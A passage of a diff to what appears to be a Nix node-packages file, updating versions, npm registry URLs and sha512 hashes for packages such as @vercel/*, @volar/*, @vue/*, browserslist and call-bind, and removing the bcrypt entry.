"@vercel/build-utils-7.7.0" = { name = "_at_vercel_slash_build-utils"; packageName = "@vercel/build-utils"; - version = "7.5.1"; + version = "7.7.0"; src = fetchurl { - url = "https://registry.npmjs.org/@vercel/build-utils/-/build-utils-7.5.1.tgz"; - sha512 = "RyTG951QZQgYn0JL5OoObsCppxHSQApZAqn82GCpAyuQPW7clqcjq7aY7KLD7esHbs0zdzL0KeDEBkGBKaTcTg=="; + url = "https://registry.npmjs.org/@vercel/build-utils/-/build-utils-7.7.0.tgz"; + sha512 = "dYE0QKnRj9tN1F2AAKHagh3QkgQhz7AWcrRqnp5gjEp74EnxBKJIcZe5qqyKANMCLQ1e96RYy1pQB3zPMGeEzg=="; }; }; "@vercel/error-utils-2.0.2" = { @@ -12469,13 +12496,13 @@ let sha512 = "iTEA0vY6RBPuEzkwUTVzSHDATo1aF6bdLLspI68mQ/BTbi5UQEGjpjyzdKOVcSYApDtFU6M6vypZ1t4vIEnHvw=="; }; }; - "@vercel/gatsby-plugin-vercel-builder-2.0.16" = { + "@vercel/gatsby-plugin-vercel-builder-2.0.18" = { name = "_at_vercel_slash_gatsby-plugin-vercel-builder"; packageName = "@vercel/gatsby-plugin-vercel-builder"; - version = "2.0.16"; + version = "2.0.18"; src = fetchurl { - url = "https://registry.npmjs.org/@vercel/gatsby-plugin-vercel-builder/-/gatsby-plugin-vercel-builder-2.0.16.tgz"; - sha512 = "szRvR8UiCyH8J4xqz3hwDa0XOE4fTxoPawYDBMNHrx91QFEHAtUBC3KcGhApGmVd7ik0WYP7lqokmv9ngygBlA=="; + url = "https://registry.npmjs.org/@vercel/gatsby-plugin-vercel-builder/-/gatsby-plugin-vercel-builder-2.0.18.tgz"; + sha512 = "SbYV8ZBnROHJzS5DbFgSZ3Szp6UiY28DyHwtJ8cJ3z82tnCgIVqRMthUx/icPUZlHXKex4y+QhOWpyqopvEyqQ=="; }; }; "@vercel/go-3.0.5" = { @@ -12496,31 +12523,31 @@ let sha512 = "/Q2MKk1GfOuZAnkE9jQexjtUQqanbY65R+xtJWd9yKIgwcfRI1hxiNH3uXyVM5AvLoY+fxxULkSuxDtUKpkJpQ=="; }; }; - "@vercel/next-4.1.0" = { + "@vercel/next-4.1.1" = { name = "_at_vercel_slash_next"; packageName = "@vercel/next"; - version = "4.1.0"; + version = "4.1.1"; src = fetchurl { - url = "https://registry.npmjs.org/@vercel/next/-/next-4.1.0.tgz"; - sha512 = "5RsyprRts6POFor2JWNNA8kYQ9R0A5a27VaBESFsPi9YIhytsx6cOdrxWusIF6SM+y+kLA0gvi1yA6uixaP8Cg=="; + url = "https://registry.npmjs.org/@vercel/next/-/next-4.1.1.tgz"; + sha512 = "bc+UimeP+Swwye10LNcB93uaGq2lMuPUhB3den0GBJ+x/aSFmSwVziohF+p1n4ozFGEUx6Qx/CyZcfopuO5jZA=="; }; }; - "@vercel/nft-0.26.2" = { + "@vercel/nft-0.26.3" = { name = "_at_vercel_slash_nft"; packageName = "@vercel/nft"; - version = "0.26.2"; + version = "0.26.3"; src = fetchurl { - url = "https://registry.npmjs.org/@vercel/nft/-/nft-0.26.2.tgz"; - sha512 = "bxe2iShmKZi7476xYamyKvhhKwQ6JPEtQ2FSq1AjMUH2buMd8LQMkdoHinTqZYc+1sMTh3G0ARdjzNvV1FEisA=="; + url = "https://registry.npmjs.org/@vercel/nft/-/nft-0.26.3.tgz"; + sha512 = "h1z/NN9ppS4YOKwSgBoopJlhm7tS2Qb/9Ld1HXjDpvvTE7mY0xVD8nllXs+RihD9uTGJISOIMzp18Eg0EApaMA=="; }; }; - "@vercel/node-3.0.17" = { + "@vercel/node-3.0.19" = { name = "_at_vercel_slash_node"; packageName = "@vercel/node"; - version = "3.0.17"; + version = "3.0.19"; src = fetchurl { - url = "https://registry.npmjs.org/@vercel/node/-/node-3.0.17.tgz"; - sha512 = "HgIDxVAG/cEGLcSYdatGwk/zraN2aDP3ZQxy0I9eFsG8+rgC5eh3mFpNYEcBDkikpMr1jW/zpesf43s/A77/GQ=="; + url = "https://registry.npmjs.org/@vercel/node/-/node-3.0.19.tgz"; + sha512 = "geiAo2QjkNyWZSMbNKgaCvUvqg44tWDF0XDhEc6D+2H+2553Ea/RFpJNY7oSruuR1Rk43GUOKbxnVEDft/2JhQ=="; }; }; "@vercel/python-4.1.1" = { @@ -12532,22 +12559,22 @@ let sha512 = "EbAdKOZ0hPd5b59tLt7R3RQK1azNvuZTrCFRAVHNjqcIHNCmrSvjag5zBGn7Memkk8qWb3+CgBw9K/3LJKei0w=="; }; }; - "@vercel/redwood-2.0.6" = { + "@vercel/redwood-2.0.7" = { name = "_at_vercel_slash_redwood"; packageName = "@vercel/redwood"; - version = "2.0.6"; + version = "2.0.7"; src = fetchurl { - url = "https://registry.npmjs.org/@vercel/redwood/-/redwood-2.0.6.tgz"; - sha512 = "bH8z/0peYlEdFGxyPWwOScTV75eb47H8IK9u0EZ3LtC7hKwiqEkQIRg2CtyH5FmILlGN9nRxEB5XWsboigHByw=="; + url = "https://registry.npmjs.org/@vercel/redwood/-/redwood-2.0.7.tgz"; + sha512 = "5BqSq9QP4kC3h9YmXJbuUM79EMErs2qs8MMBlw7r2zTLc2rqlUR6suzshn5Ei/Beqoj2pm7d+qrludEBVDBxkw=="; }; }; - "@vercel/remix-builder-2.0.18" = { + "@vercel/remix-builder-2.0.19" = { name = "_at_vercel_slash_remix-builder"; packageName = "@vercel/remix-builder"; - version = "2.0.18"; + version = "2.0.19"; src = fetchurl { - url = "https://registry.npmjs.org/@vercel/remix-builder/-/remix-builder-2.0.18.tgz"; - sha512 = "dSi/FQ3jjEl6q9Hpzwkiikq7CwO309TS1bkcuORbsd55HloDeirvQurxoGOqWN+4O6Acuy568YI33A7LAz9/lw=="; + url = "https://registry.npmjs.org/@vercel/remix-builder/-/remix-builder-2.0.19.tgz"; + sha512 = "mODNijOpRGKtW09ksg01ju6tOt+C/fba71l1rrHi8I/ejPxpXHnfArNyO5SPRldyq5eHrhBMeePStQLVKNetug=="; }; }; "@vercel/routing-utils-3.1.0" = { @@ -12568,13 +12595,13 @@ let sha512 = "Gfm8HDech41vf+EPleRzgoJUnDTJerKgckMm4KX0JT860gV9XBMSOWYH7eMWHmMza104+HRCWL7wT6OlpftF2Q=="; }; }; - "@vercel/static-build-2.2.0" = { + "@vercel/static-build-2.4.0" = { name = "_at_vercel_slash_static-build"; packageName = "@vercel/static-build"; - version = "2.2.0"; + version = "2.4.0"; src = fetchurl { - url = "https://registry.npmjs.org/@vercel/static-build/-/static-build-2.2.0.tgz"; - sha512 = "PG8/X6bk8K6sztAKckwo/miBdOU1EUmH5ct0oSXlZl7lv80v81axJrZ8YnqSmRyFT5+WR6e9Njk0Biz5FtyQ8w=="; + url = "https://registry.npmjs.org/@vercel/static-build/-/static-build-2.4.0.tgz"; + sha512 = "i+JDorkLGUVSoBrxbT86LL7L+TrBdL7uwVtqKA6S3QEQb8OfGOfvQKCjtbIRmplTxHWHWo3zFALrmFuB1AaubQ=="; }; }; "@vercel/static-config-3.0.0" = { @@ -12667,22 +12694,13 @@ let sha512 = "NwqBBruD1DvVmFVyPinOuuMGqpSroVTnl1R1vOnhbKquButOj+0b2k43Gn1fz/Uqe9hijLCxMEtMIIcW38ny8w=="; }; }; - "@volar/kit-1.11.1" = { + "@volar/kit-2.0.4" = { name = "_at_volar_slash_kit"; packageName = "@volar/kit"; - version = "1.11.1"; - src = fetchurl { - url = "https://registry.npmjs.org/@volar/kit/-/kit-1.11.1.tgz"; - sha512 = "nqO+Hl9f1ygOK/3M7Hpnw0lhKvuMFhh823nilStpkTmm5WfrUnE+4WaQkb3dC6LM3TZq74j2m88yxRC+Z3sZZw=="; - }; - }; - "@volar/language-core-1.11.1" = { - name = "_at_volar_slash_language-core"; - packageName = "@volar/language-core"; - version = "1.11.1"; + version = "2.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/@volar/language-core/-/language-core-1.11.1.tgz"; - sha512 = "dOcNn3i9GgZAcJt43wuaEykSluAuOkQgzni1cuxLxTV0nJKanQztp7FxyswdRILaKH+P2XZMPRp2S4MV/pElCw=="; + url = "https://registry.npmjs.org/@volar/kit/-/kit-2.0.4.tgz"; + sha512 = "USRx/o0jKz7o8+lEKWMxWqbqvC46XFrf3IE6CZBYzRo9kM7RERQLwUYaoT2bOcHt5DQWublpnTgdgHMm37Gysg=="; }; }; "@volar/language-core-1.4.1" = { @@ -12694,13 +12712,13 @@ let sha512 = "EIY+Swv+TjsWpxOxujjMf1ZXqOjg9MT2VMXZ+1dKva0wD8W0L6EtptFFcCJdBbcKmGMFkr57Qzz9VNMWhs3jXQ=="; }; }; - "@volar/language-server-1.11.1" = { - name = "_at_volar_slash_language-server"; - packageName = "@volar/language-server"; - version = "1.11.1"; + "@volar/language-core-2.0.4" = { + name = "_at_volar_slash_language-core"; + packageName = "@volar/language-core"; + version = "2.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/@volar/language-server/-/language-server-1.11.1.tgz"; - sha512 = "XYG4HcML2qimQV9UouQ7c1GuuqQw1NXoNDxAOAcfyYlz43P+HgzGQx4QEou+QMGHJeYIN86foDvkTN3fcopw9A=="; + url = "https://registry.npmjs.org/@volar/language-core/-/language-core-2.0.4.tgz"; + sha512 = "VhC8i03P0x9LKGLTBi81xNTNWm40yxQ/Iba8IpH+LFr+Yb7c/D7fF90Cvf31MzPDM4G5rjIOlCfs+eQKPBkwQw=="; }; }; "@volar/language-server-1.4.1" = { @@ -12712,13 +12730,13 @@ let sha512 = "UxhiN205o8ZfTnMNhRPCtW+ncrBtqZMd+f08Xf99Je4WB+SYyv3VNnIZEQDXfaTXR6mLUgQ1mDwPsUOLKKGY8A=="; }; }; - "@volar/language-service-1.11.1" = { - name = "_at_volar_slash_language-service"; - packageName = "@volar/language-service"; - version = "1.11.1"; + "@volar/language-server-2.0.4" = { + name = "_at_volar_slash_language-server"; + packageName = "@volar/language-server"; + version = "2.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/@volar/language-service/-/language-service-1.11.1.tgz"; - sha512 = "dKo8z1UzQRPHnlXxwfONGrasS1wEWXMoLQiohZ8KgWqZALbekZCwdGImLZD4DeFGNjk3HTTdfeCzo3KjwohjEQ=="; + url = "https://registry.npmjs.org/@volar/language-server/-/language-server-2.0.4.tgz"; + sha512 = "VnljhooQjT6RhmvwwJK9+3YYs2ovFmav4IVNHiQgnTMfiOiyABzcghwvJrJrI39rJDI6LNOWF7BYUJq7K07BKQ=="; }; }; "@volar/language-service-1.4.1" = { @@ -12730,13 +12748,22 @@ let sha512 = "F30uT+xk20ZYpxRwNW9xBEoErSqd9zNW7iuFwSIX9bYO/12RLjB2I+vgM/GdPZnzZ37imXa76ykwqTRXrafigQ=="; }; }; - "@volar/source-map-1.11.1" = { - name = "_at_volar_slash_source-map"; - packageName = "@volar/source-map"; - version = "1.11.1"; + "@volar/language-service-2.0.4" = { + name = "_at_volar_slash_language-service"; + packageName = "@volar/language-service"; + version = "2.0.4"; + src = fetchurl { + url = "https://registry.npmjs.org/@volar/language-service/-/language-service-2.0.4.tgz"; + sha512 = "DoanyU9I9Nl85lUytDl8jgyk+nrUDR5CFNVMrxWXGXclP4WTqBayBgSFAeF1L/5AwP3MywmWoK4GLAEVvl8D+Q=="; + }; + }; + "@volar/snapshot-document-2.0.4" = { + name = "_at_volar_slash_snapshot-document"; + packageName = "@volar/snapshot-document"; + version = "2.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/@volar/source-map/-/source-map-1.11.1.tgz"; - sha512 = "hJnOnwZ4+WT5iupLRnuzbULZ42L7BWWPMmruzwtLhJfpDVoZLjNBxHDi2sY2bgZXCKlpU5XcsMFoYrsQmPhfZg=="; + url = "https://registry.npmjs.org/@volar/snapshot-document/-/snapshot-document-2.0.4.tgz"; + sha512 = "YzgdmvpdRFxiBFCOVWga67naAtbPtKmPaFtGnmxWx+KXrjGkpUXT/2tzeKn5FLdtoYV+DRTdpMdP/45ArnVwZQ=="; }; }; "@volar/source-map-1.4.1" = { @@ -12748,13 +12775,22 @@ let sha512 = "bZ46ad72dsbzuOWPUtJjBXkzSQzzSejuR3CT81+GvTEI2E994D8JPXzM3tl98zyCNnjgs4OkRyliImL1dvJ5BA=="; }; }; - "@volar/typescript-1.11.1" = { + "@volar/source-map-2.0.4" = { + name = "_at_volar_slash_source-map"; + packageName = "@volar/source-map"; + version = "2.0.4"; + src = fetchurl { + url = "https://registry.npmjs.org/@volar/source-map/-/source-map-2.0.4.tgz"; + sha512 = "BbxUinEMoJZqrHsSj1aBa0boCBnN3BoXnf7j9IBwjxosxGXOhCvqmH2L9raJemadaKjeVR8ZQLhV7AOhyoHt/Q=="; + }; + }; + "@volar/typescript-2.0.4" = { name = "_at_volar_slash_typescript"; packageName = "@volar/typescript"; - version = "1.11.1"; + version = "2.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/@volar/typescript/-/typescript-1.11.1.tgz"; - sha512 = "iU+t2mas/4lYierSnoFOeRFQUhAEMgsFuQxoxvwn5EdQopw43j+J27a4lt9LMInx1gLJBC6qL14WYGlgymaSMQ=="; + url = "https://registry.npmjs.org/@volar/typescript/-/typescript-2.0.4.tgz"; + sha512 = "KF7yh7GIo4iWuAQOKf/ONeFHdQA+wFriitW8LtGZB4iOOT6MdlRlYNsRL8do7XxmXvsBKcs4jTMtGn+uZRwlWg=="; }; }; "@volar/vue-language-core-1.6.5" = { @@ -12874,22 +12910,22 @@ let sha512 = "jNYQ+3z7HDZ3IR3Z3Dlo3yOPbHexpygkn2IJ7sjA62oGolnNWeF7kvpLwni18l8N5InhS66m9w31an1Fs5pCZA=="; }; }; - "@vue/compiler-core-3.4.15" = { + "@vue/compiler-core-3.4.19" = { name = "_at_vue_slash_compiler-core"; packageName = "@vue/compiler-core"; - version = "3.4.15"; + version = "3.4.19"; src = fetchurl { - url = "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.4.15.tgz"; - sha512 = "XcJQVOaxTKCnth1vCxEChteGuwG6wqnUHxAm1DO3gCz0+uXKaJNx8/digSz4dLALCy8n2lKq24jSUs8segoqIw=="; + url = "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.4.19.tgz"; + sha512 = "gj81785z0JNzRcU0Mq98E56e4ltO1yf8k5PQ+tV/7YHnbZkrM0fyFyuttnN8ngJZjbpofWE/m4qjKBiLl8Ju4w=="; }; }; - "@vue/compiler-dom-3.4.15" = { + "@vue/compiler-dom-3.4.19" = { name = "_at_vue_slash_compiler-dom"; packageName = "@vue/compiler-dom"; - version = "3.4.15"; + version = "3.4.19"; src = fetchurl { - url = "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.4.15.tgz"; - sha512 = "wox0aasVV74zoXyblarOM3AZQz/Z+OunYcIHe1OsGclCHt8RsRm04DObjefaI82u6XDzv+qGWZ24tIsRAIi5MQ=="; + url = "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.4.19.tgz"; + sha512 = "vm6+cogWrshjqEHTzIDCp72DKtea8Ry/QVpQRYoyTIg9k7QZDX6D8+HGURjtmatfgM8xgCFtJJaOlCaRYRK3QA=="; }; }; "@vue/compiler-sfc-2.7.16" = { @@ -12901,40 +12937,40 @@ let sha512 = "KWhJ9k5nXuNtygPU7+t1rX6baZeqOYLEforUPjgNDBnLicfHCoi48H87Q8XyLZOrNNsmhuwKqtpDQWjEFe6Ekg=="; }; }; - "@vue/compiler-sfc-3.4.15" = { + "@vue/compiler-sfc-3.4.19" = { name = "_at_vue_slash_compiler-sfc"; packageName = "@vue/compiler-sfc"; - version = "3.4.15"; + version = "3.4.19"; src = fetchurl { - url = "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.4.15.tgz"; - sha512 = "LCn5M6QpkpFsh3GQvs2mJUOAlBQcCco8D60Bcqmf3O3w5a+KWS5GvYbrrJBkgvL1BDnTp+e8q0lXCLgHhKguBA=="; + url = "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.4.19.tgz"; + sha512 = "LQ3U4SN0DlvV0xhr1lUsgLCYlwQfUfetyPxkKYu7dkfvx7g3ojrGAkw0AERLOKYXuAGnqFsEuytkdcComei3Yg=="; }; }; - "@vue/compiler-ssr-3.4.15" = { + "@vue/compiler-ssr-3.4.19" = { name = "_at_vue_slash_compiler-ssr"; packageName = "@vue/compiler-ssr"; - version = "3.4.15"; + version = "3.4.19"; src = fetchurl { - url = "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.4.15.tgz"; - sha512 = "1jdeQyiGznr8gjFDadVmOJqZiLNSsMa5ZgqavkPZ8O2wjHv0tVuAEsw5hTdUoUW4232vpBbL/wJhzVW/JwY1Uw=="; + url = "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.4.19.tgz"; + sha512 = "P0PLKC4+u4OMJ8sinba/5Z/iDT84uMRRlrWzadgLA69opCpI1gG4N55qDSC+dedwq2fJtzmGald05LWR5TFfLw=="; }; }; - "@vue/reactivity-3.4.15" = { + "@vue/reactivity-3.4.19" = { name = "_at_vue_slash_reactivity"; packageName = "@vue/reactivity"; - version = "3.4.15"; + version = "3.4.19"; src = fetchurl { - url = "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.4.15.tgz"; - sha512 = "55yJh2bsff20K5O84MxSvXKPHHt17I2EomHznvFiJCAZpJTNW8IuLj1xZWMLELRhBK3kkFV/1ErZGHJfah7i7w=="; + url = "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.4.19.tgz"; + sha512 = "+VcwrQvLZgEclGZRHx4O2XhyEEcKaBi50WbxdVItEezUf4fqRh838Ix6amWTdX0CNb/b6t3Gkz3eOebfcSt+UA=="; }; }; - "@vue/shared-3.4.15" = { + "@vue/shared-3.4.19" = { name = "_at_vue_slash_shared"; packageName = "@vue/shared"; - version = "3.4.15"; + version = "3.4.19"; src = fetchurl { - url = "https://registry.npmjs.org/@vue/shared/-/shared-3.4.15.tgz"; - sha512 = "KzfPTxVaWfB+eGcGdbSf4CWdaXcGDqckoeXUh7SB3fZdEtzPCK2Vq9B/lRRL3yutax/LWITz+SwvgyOxz5V75g=="; + url = "https://registry.npmjs.org/@vue/shared/-/shared-3.4.19.tgz"; + sha512 = "/KliRRHMF6LoiThEy+4c1Z4KB/gbPrGjWwJR+crg2otgrf/egKzRaCPvJ51S5oetgsgXLfc4Rm5ZgrKHZrtMSw=="; }; }; "@webassemblyjs/ast-1.11.1" = { @@ -13414,13 +13450,13 @@ let sha512 = "mqasZiUNquRe3ea9+aCAuo81BR6vq5opUKprPilIHTnrg8a21Z1T1OrI+KiMFX8OmwO5HUJe/vro47lpj2JPWQ=="; }; }; - "@whatwg-node/node-fetch-0.5.5" = { + "@whatwg-node/node-fetch-0.5.6" = { name = "_at_whatwg-node_slash_node-fetch"; packageName = "@whatwg-node/node-fetch"; - version = "0.5.5"; + version = "0.5.6"; src = fetchurl { - url = "https://registry.npmjs.org/@whatwg-node/node-fetch/-/node-fetch-0.5.5.tgz"; - sha512 = "LhE0Oo95+dOrrzrJncrpCaR3VHSjJ5Gvkl5g9WVfkPKSKkxCbMeOsRQ+v9LrU9lRvXBJn8JicXqSufKFEpyRbQ=="; + url = "https://registry.npmjs.org/@whatwg-node/node-fetch/-/node-fetch-0.5.6.tgz"; + sha512 = "cmAsGMHoI0S3AHi3CmD3ma1Q234ZI2JNmXyDyM9rLtbXejBKxU3ZWdhS+mzRIAyUxZCMGlFW1tHmROv0MDdxpw=="; }; }; "@xmldom/xmldom-0.7.13" = { @@ -14350,13 +14386,13 @@ let sha512 = "GrTZLRpmp6wIC2ztrWW9MjjTgSKccffgFagbNDOX95/dcjEcYZibYTeaOntySQLcdw1ztBoFkviiUvTMbb9MYg=="; }; }; - "all-package-names-2.0.843" = { + "all-package-names-2.0.859" = { name = "all-package-names"; packageName = "all-package-names"; - version = "2.0.843"; + version = "2.0.859"; src = fetchurl { - url = "https://registry.npmjs.org/all-package-names/-/all-package-names-2.0.843.tgz"; - sha512 = "hYKzq6I2hN/nhe/a6EcnlPPxhCIZm1NPx26bQa73fHlmMS1GGijZ6sKXSm0OP3kXww+65P63k+nqSj3Zui+gXA=="; + url = "https://registry.npmjs.org/all-package-names/-/all-package-names-2.0.859.tgz"; + sha512 = "pqpWYHx5Jp8c5WjjsNKO1jtLB7lhH+G2NEnCZavawDnxULs1nV74YKmXoHntrPC2vEn7dJgH1R6hzCxQzkWbjQ=="; }; }; "amdefine-1.0.1" = { @@ -15097,13 +15133,13 @@ let sha512 = "TkuxA4UCOvxuDK6NZYXCalszEzj+TLszyASooky+i742l9TqsOdYCMJJupxRic61hwquNtppB3hgcuq9SVSH1Q=="; }; }; - "array-buffer-byte-length-1.0.0" = { + "array-buffer-byte-length-1.0.1" = { name = "array-buffer-byte-length"; packageName = "array-buffer-byte-length"; - version = "1.0.0"; + version = "1.0.1"; src = fetchurl { - url = "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz"; - sha512 = "LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A=="; + url = "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz"; + sha512 = "ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="; }; }; "array-differ-1.0.0" = { @@ -15313,13 +15349,22 @@ let sha512 = "SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ=="; }; }; - "array.prototype.findlastindex-1.2.3" = { + "array.prototype.filter-1.0.3" = { + name = "array.prototype.filter"; + packageName = "array.prototype.filter"; + version = "1.0.3"; + src = fetchurl { + url = "https://registry.npmjs.org/array.prototype.filter/-/array.prototype.filter-1.0.3.tgz"; + sha512 = "VizNcj/RGJiUyQBgzwxzE5oHdeuXY5hSbbmKMlphj1cy1Vl7Pn2asCGbSrru6hSQjmCzqTBPVWAF/whmEOVHbw=="; + }; + }; + "array.prototype.findlastindex-1.2.4" = { name = "array.prototype.findlastindex"; packageName = "array.prototype.findlastindex"; - version = "1.2.3"; + version = "1.2.4"; src = fetchurl { - url = "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.3.tgz"; - sha512 = "LzLoiOMAxvy+Gd3BAq3B7VeIgPdo+Q8hthvKtXybMvRV0jrXfJM/t8mw7nNlpEcVlVUnCnM2KSX4XU5HmpodOA=="; + url = "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.4.tgz"; + sha512 = "hzvSHUshSpCflDR1QMUBLHGHP1VIEBegT4pix9H/Z92Xw3ySoy6c2qh7lJWTJnRJ8JCZ9bJNCgTyYaJGcJu6xQ=="; }; }; "array.prototype.flat-1.3.2" = { @@ -15349,22 +15394,22 @@ let sha512 = "UW+Mz8LG/sPSU8jRDCjVr6J/ZKAGpHfwrZ6kWTG5qCxIEiXdVshqGnu5vEZA8S1y6X4aCSbQZ0/EEsfvEvBiSg=="; }; }; - "array.prototype.tosorted-1.1.2" = { + "array.prototype.tosorted-1.1.3" = { name = "array.prototype.tosorted"; packageName = "array.prototype.tosorted"; - version = "1.1.2"; + version = "1.1.3"; src = fetchurl { - url = "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.2.tgz"; - sha512 = "HuQCHOlk1Weat5jzStICBCd83NxiIMwqDg/dHEsoefabn/hJRj5pVdWcPUSpRrwhwxZOsQassMpgN/xRYFBMIg=="; + url = "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.3.tgz"; + sha512 = "/DdH4TiTmOKzyQbp/eadcCVexiCb36xJg7HshYOYJnNZFDj33GEv0P7GxsynpShhq4OLYJzbGcBDkLsDt7MnNg=="; }; }; - "arraybuffer.prototype.slice-1.0.2" = { + "arraybuffer.prototype.slice-1.0.3" = { name = "arraybuffer.prototype.slice"; packageName = "arraybuffer.prototype.slice"; - version = "1.0.2"; + version = "1.0.3"; src = fetchurl { - url = "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.2.tgz"; - sha512 = "yMBKppFur/fbHu9/6USUe03bZ4knMYiwFBcyiaXB8Go0qNehwX6inYPzK9U0NeQvGxKthcmHcaR8P5MStSRBAw=="; + url = "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz"; + sha512 = "bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="; }; }; "arraybuffer.slice-0.0.6" = { @@ -15898,13 +15943,13 @@ let sha512 = "d1W2aNSYcz/sxYO4pMGX9vq65qOTu0P800epMud+6cYYX0QcT7zyqcxec3VWzpgvdXo57UWmVbZpLMjX2m1I7Q=="; }; }; - "aws-crt-1.21.0" = { + "aws-crt-1.21.1" = { name = "aws-crt"; packageName = "aws-crt"; - version = "1.21.0"; + version = "1.21.1"; src = fetchurl { - url = "https://registry.npmjs.org/aws-crt/-/aws-crt-1.21.0.tgz"; - sha512 = "5GKAxFm4ttjj5TiVaBkVmOwn6y7KSj9ODyWwCFrBVedS6njH9YLGmdZRVEXn1boz2B5xq4QkPGgf1ypEBR0tvA=="; + url = "https://registry.npmjs.org/aws-crt/-/aws-crt-1.21.1.tgz"; + sha512 = "pSLf1Xg5P2Owa+n/82hkEXV22q56kbxJOxX4FB5DvvHpTokOygz6nFj+/cS9dnv3tNZgOiUjTvsz0Xk1ldyi0w=="; }; }; "aws-sdk-2.1340.0" = { @@ -16024,13 +16069,13 @@ let sha512 = "XdiGPhrpaT5J8wdERRKs5g8E0Zy1pvOYTli7z9E8nmOn3YGp4FhtjhrOyFmX/8veWCwdI69mCHKJw6l+4J/bHA=="; }; }; - "b4a-1.6.4" = { + "b4a-1.6.6" = { name = "b4a"; packageName = "b4a"; - version = "1.6.4"; + version = "1.6.6"; src = fetchurl { - url = "https://registry.npmjs.org/b4a/-/b4a-1.6.4.tgz"; - sha512 = "fpWrvyVHEKyeEvbKZTVOeZF3VSKKWtJxFIxX/jaVPf+cLbGUSitjb49pHLqPV2BUNNZ0LcoeEGfE/YCpyDYHIw=="; + url = "https://registry.npmjs.org/b4a/-/b4a-1.6.6.tgz"; + sha512 = "5Tk1HLk6b6ctmjIkAcU/Ujv/1WqiDl0F0JdRCR80VsOcUlHcu7pWeWRlOqQLHfDEsVx9YH/aif5AG4ehoCtTmg=="; }; }; "babel-code-frame-6.26.0" = { @@ -16357,15 +16402,6 @@ let sha512 = "RHBS7HI5N5tEnGTmtR/pppX0mmDSBpQ4aCBsj7CEQfYXDcO74A8sIBYcJMuCsis2E81zDxeENYhv66oZwLiA+Q=="; }; }; - "bcrypt-5.1.1" = { - name = "bcrypt"; - packageName = "bcrypt"; - version = "5.1.1"; - src = fetchurl { - url = "https://registry.npmjs.org/bcrypt/-/bcrypt-5.1.1.tgz"; - sha512 = "AGBHOG5hPYZ5Xl9KXzU5iKq9516yEmvCKDg3ecP5kX2aB6UqTeXZxk2ELnDgDm6BQSMlLt9rDB4LoSMx0rYwww=="; - }; - }; "bcrypt-nodejs-0.0.3" = { name = "bcrypt-nodejs"; packageName = "bcrypt-nodejs"; @@ -17311,13 +17347,13 @@ let sha512 = "Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA=="; }; }; - "browserslist-4.22.3" = { + "browserslist-4.23.0" = { name = "browserslist"; packageName = "browserslist"; - version = "4.22.3"; + version = "4.23.0"; src = fetchurl { - url = "https://registry.npmjs.org/browserslist/-/browserslist-4.22.3.tgz"; - sha512 = "UAp55yfwNv0klWNapjs/ktHoguxuQNGnOzxYmfnXIS+8AsRDZkSDxg7R1AX3GKzn078SBI5dzwzj/Yx0Or0e3A=="; + url = "https://registry.npmjs.org/browserslist/-/browserslist-4.23.0.tgz"; + sha512 = "QW8HiM1shhT2GuzkvklfjcKDiWFXHOeFCIA/huJPwHsslwcydgk7X+z2zXpEijP98UCY7HbubZt5J2Zgvf0CaQ=="; }; }; "brq-0.1.10" = { @@ -17905,13 +17941,13 @@ let sha512 = "kpqOvwXnjjN44D89K5ccQC+RUrsy7jB/XLlRrx0D7/2HNcTPqzsb6XgYoErwko6QsV184CA2YgS1fxDiiDZMWA=="; }; }; - "call-bind-1.0.5" = { + "call-bind-1.0.7" = { name = "call-bind"; packageName = "call-bind"; - version = "1.0.5"; + version = "1.0.7"; src = fetchurl { - url = "https://registry.npmjs.org/call-bind/-/call-bind-1.0.5.tgz"; - sha512 = "C3nQxfFZxFRVoJoGKKI8y3MOEo129NQ+FgQ08iye+Mk4zNZZGdjfs06bVTr+DBSlA66Q2VEcMki/cUCP4SercQ=="; + url = "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz"; + sha512 = "GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="; }; }; "call-me-maybe-1.0.2" = { @@ -18157,13 +18193,13 @@ let sha512 = "bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw=="; }; }; - "caniuse-lite-1.0.30001582" = { + 